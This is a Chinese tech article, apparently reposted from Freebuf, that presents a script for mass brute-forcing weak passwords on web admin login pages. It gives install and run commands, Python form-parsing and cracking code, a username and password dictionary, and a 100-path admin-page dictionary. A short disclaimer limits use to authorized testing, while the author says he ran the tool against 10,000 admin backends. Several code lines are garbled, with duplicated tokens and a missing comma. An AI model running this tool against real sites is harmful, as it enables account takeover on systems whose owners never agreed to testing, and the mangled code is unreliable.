Web弱口令通用检测方法探究

安全 数据安全
目前的各种web口令破解工具大多是针对某个cms进行设计,或者类似burpsuite需要手工配置,没有见过能通用的破解工具,因此就有了这个小工具——通用web弱口令破解脚本。

注意:本脚本只是探讨通用web口令破解的可行性,所有测试请自行搭建靶机环境或者在拿到目标系统相关授权后再进行测试。文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

[[262591]]

工具介绍

通用的web弱口令破解脚本,旨在批量检测那些没有验证码的管理后台。

随着攻防演练和一些漏洞挖掘任务的增多,有时候需要大批量快速的检测一些网站后台安全性,特别是测试一些管理弱口令,这种难度不大但比较费时费力的工作就需要一个自动化的脚本来完成了。但目前的各种web口令破解工具大多是针对某个cms进行设计,或者类似burpsuite需要手工配置,没有见过能通用的破解工具。

因此就有了这个小工具——通用web弱口令破解脚本,配合另一个信息搜集工具

https://github.com/TideSec/FuzzScanner 可以进行批量快速刷分。

安装使用

安装使用都比较简单:

从Github上拖下来

  1. git clone https://github.com/TideSec/web_pwd_common_crack 

安装requirements.txt依赖

  1. pip install -r requirements.txt 

运行脚本即可

  1. python web_pwd_crack.py url.txt 50   --> url.txt为待扫描URL地址列表,50为线程数,默认为50 

url.txt为待检测URL地址,可以自己写个脚本批量从搜索引擎获取,也可以自己用目录枚举工具去搜集。

功能原理

1. 访问目标地址,分析关键字

原理非常low,就是从页面中提取表单,对表单中的内容进行检索,发现存在用户名、密码、username、pwd、pass之类的字段则认为是登录页面,然后提取参数组成data数据,发送给crack函数进行破解。

由于现在各种网站的请求包的多样性,目前没法做到像wvs那样能提取到所有的登录post,只是根据简单的关键字进行了提取。

  1. logins =['用户名','密码','login','denglu','登录','user','pass','yonghu','mima','pwd','zhanghao','yonghu','name','email','account'] 

在测试中还发现有时候搜索框会干扰结果,所以把搜索框又进行了排除

  1. sous = ['检索','搜','search','查找','keyword','关键字'] 

另外,目前不支持自动识别验证码,所以对验证码也进行了排除

  1. yzms = ['验证码','点击更换','点击刷新','checkcode','valicode','code','captcha'] 

2. 通过解析页面获取post地址及参数

  1. def get_post_get_page(content,url): 
  2.     form_action = str(content).split('\n')[0] 
  3.     # print form_action 
  4.     soup = BS(form_action, "lxml") 
  5.     url_path = '' 
  6.     for x in re.findall(".*?/",url): 
  7.         url_pathurl_path =  url_path+x 
  8.  
  9.     action_url = soup.form['action'] 
  10.     if str(action_url).startswith('http'): 
  11.         path = action_url 
  12.     else: 
  13.         path = url_path+soup.form['action'] 
  14.     method = soup.form['method'] 
  15.     return path,method 

3. 在获取相关参数和path后调用破解函数web_crack进行密码破解

  1. def web_crack(method,path,data): 
  2.     conn =  requests.session() 
  3.     res0 = conn.get(path, headers=requests_headers(), allow_redirects=False,timeout=10,proxies = requests_proxies()) 
  4.     error_length,cookie_error_flag,dynamic_req_len = get_error_length(conn,method,path,data) 
  5.     if dynamic_req_len: 
  6.         return False,False 
  7.  
  8.     num = 0 
  9.     success_flag = 0 
  10.     dic_all = len(USERNAME_DIC)*len(PASSWORD_DIC) 
  11.     for user_name in USERNAME_DIC: 
  12.         for pass_word in PASSWORD_DIC: 
  13.             datadata1 = data 
  14.             # print data1 
  15.             user_nameuser_name = user_name.strip() 
  16.             pass_wordpass_word = pass_word.strip() 
  17.             pass_word = str(pass_word.replace('{user}', user_name)) 
  18.             data2 = str(data1.replace('%7Buser_name%7D', user_name)) 
  19.             data2 = str(data2.replace('%7Bpass_word%7D', pass_word)) 
  20.  
  21.             numnum = num+1 
  22.  
  23.             res = conn.post(url = path,data = data2headers=requests_headers(), timeout=10,verify=False,allow_redirects=False,proxies = requests_proxies()) 
  24.             cur_length = len(res.content+str(res.headers)) 
  25.  
  26.             if cookie_error_flag:  # cookie_error_flag表示每个数据包中都有cookie 
  27.                 if cur_length!=error_length: 
  28.                     success_flag =1 
  29.                     return user_name,pass_word 
  30.             elif 'Set-Cookie' in res.headers and cur_length!=error_length: 
  31.                 success_flag =1 
  32.                 return user_name,pass_word 
  33.     if success_flag == 0: 
  34.         return False,False 

配置了一个比较简单的字典

  1. USERNAME_DIC = ['admin','guest','test','ceshi','system'] 
  2. PASSWORD_DIC = ['123456','admin','password','123123','123','1','{user}','{user}{user}','{user}1','{user}123','{user}2018','{user}2017','{user}2016','{user}2015','{user}!','P@ssw0rd!!','qwa123','12345678','test','123qwe!@#','123456789','123321','1314520','666666','woaini','000000','1234567890','8888888','qwerty','1qaz2wsx','abc123','abc123456','1q2w3e4r','123qwe','a123456','p@ssw0rd','a123456789','woaini1314','qwerasdf','123456a','123456789a','987654321','qwer!@#$','5201314520', 'q123456', '123456abc', '123123123', '123456.','0123456789', 'asd123456', 'aa123456', 'q123456789', '!QAZ@WSX','12345','1234567','passw0rd','admin888'] 

4. 如何判断破解成功

目前使用了几种方式相互结合的方法来共同验证。

  • 通过返回包里有没有Set-Cookie;
  • 返回数据包的长度变化;
  • 使用requests.session()进行重验证;
  • 返回页面的内容匹配。
  • 优化准确度,加入了recheck函数

在测试时发现会出现误报情况,所以对成功的账户密码进行了重验证。比如:

  • 有些系统在探测多次之后出现封ip之类的情况,这时候会干扰破解脚本的判断;
  • 有些系统在开始的时候没有验证码,但错误几次后会出现验证码;
  • 有些系统的提示信息会出现随机的变更,导致误报。

工作界面

扫描过程如下

screenshot

扫描成功的结果会保持在web_crack_ok.txt文件中

screenshot

扫描中识别到验证码、phpmyadmin等所有的日志会保存在web_crack_log.txt文件中,后期可以根据log日志再进行逐一筛查。

screenshot

其他说明

其实在完成这个工具后,也开始明白为什么市面上没有通用的破解器,因为成功率的确不高!我测试过10000个管理后台,破解出来弱口令的大约110个,有没有漏报不清楚但基本没有误报。

成功率不高主要原因有:

  • web页面类型繁杂,很难准确获取并提交正确参数;
  • 很多页面都有验证码,目前这个小脚本还没法自动识别验证码;
  • 为了平衡时间和效率,使用了比较简单的用户名和密码字典,所以稍微复杂的密码就破解不出来了。

我一般会使用dirsearch或之类的目录枚举工具,配置一个比较轻便的管理后台目录字典,对目标地址进行批量扫描管理后台,然后再使用web_pwd_crack.py对这些后台地址批量进行弱口令破解。

贡献一个比较精简的管理后台字典(100条)

  1. admin/default/login.asp 
  2. admin/login.asp 
  3. admin/manage/login.asp 
  4. admin_login/login.asp 
  5. admincp/login.asp 
  6. administrator/login.asp 
  7. login.asp 
  8. manage/login.asp 
  9. manager/login.asp 
  10. member/login.asp 
  11. admin-login.php 
  12. admin/admin-login.php 
  13. admin/admin_login.php 
  14. admin/login.php 
  15. admin2/login.php 
  16. admin_area/login.php 
  17. admin_login.php 
  18. adminarea/login.php 
  19. admincontrol/login.php 
  20. administrator/login.php 
  21. administratorlogin.php 
  22. adminlogin.php 
  23. autologin.php 
  24. bb-admin/login.php 
  25. blog/wp-login.php 
  26. checklogin.php 
  27. login.php 
  28. modelsearch/login.php 
  29. moderator/login.php 
  30. nsw/admin/login.php 
  31. pages/admin/admin-login.php 
  32. panel-administracion/login.php 
  33. processlogin.php 
  34. rcjakar/admin/login.php 
  35. relogin.php 
  36. siteadmin/login.php 
  37. sqlbuddy/login.php 
  38. userlogin.php 
  39. usuarios/login.php 
  40. webadmin/login.php 
  41. wp-login.php 
  42. account/login.jsp 
  43. accounts/login.jsp 
  44. admin/login.jsp 
  45. auth/login.jsp 
  46. jsp/extension/login.jsp 
  47. login.jsp 
  48. member/login.jsp 
  49. members/login.jsp 
  50. portalAppAdmin/login.jsp 
  51. admin.jsp 
  52. netadmin.jsp 
  53. admin.php 
  54. admin.php3 
  55. admin/admin.php 
  56. admin_area/admin.php 
  57. adminarea/admin.php 
  58. authadmin.php 
  59. bb-admin/admin.php 
  60. checkadmin.php 
  61. cmsadmin.php 
  62. dbadmin.php 
  63. fileadmin.php 
  64. isadmin.php 
  65. linusadmin-phpinfo.php 
  66. memberadmin.php 
  67. moadmin.php 
  68. modelsearch/admin.php 
  69. moderator/admin.php 
  70. panel-administracion/admin.php 
  71. phpliteadmin.php 
  72. siteadmin.php 
  73. sysadmin.php 
  74. tmp/admin.php 
  75. ur-admin.php 
  76. user/admin.php 
  77. users/admin.php 
  78. webadmin.php 
  79. webadmin/admin.php 
  80. wp-content/plugins/akismet/admin.php 
  81. admin.asp 
  82. admin.aspx 
  83. admin/default/admin.asp 
  84. admin/manage/admin.asp 
  85. admin_login/admin.asp 
  86. administrator/admin.asp 
  87. article/admin/admin.asp 
  88. denglu/admin.asp 
  89. guanli/admin.asp 
  90. houtai/admin.asp 
  91. login/admin/admin.asp 
  92. manage/admin.asp 
  93. manager/admin.asp 
  94. member/admin.asp 
  95. admin/logon.jsp 
  96. admin/secure/logon.jsp 
  97. compass/logon.jsp 
  98. logon.jsp 
  99. logon/logon.jsp 

ToDo

  • 验证码识别
  • 减少误报率
  • 优化编码处理
  • 能不那么low

 

责任编辑:赵宁宁 来源: Freebuf
相关推荐

2014-06-06 10:01:31

2015-11-11 14:08:07

2020-12-25 08:12:40

Web安全网络安全

2020-12-14 08:09:03

弱口令工具扫描

2024-09-06 07:27:52

2009-11-23 10:40:47

路由器口令

2013-04-23 14:20:52

Wireshark弱口令

2019-05-26 14:59:22

2013-12-15 18:15:57

弱口令乌云漏洞

2018-04-15 17:57:30

2020-12-28 09:42:25

弱密码密码加密

2019-03-07 16:05:59

webJettyTomcat

2020-11-19 08:00:00

Kubernetes工具开发

2024-04-30 11:06:52

2021-09-29 23:43:53

Go OpenLdap检测工具

2016-10-09 10:23:00

2015-09-21 09:26:15

2010-10-11 10:41:57

2009-10-21 16:34:03

Oracle用户名重建索引

2009-11-11 09:50:25

思科路由器口令恢复
点赞
收藏

51CTO技术栈公众号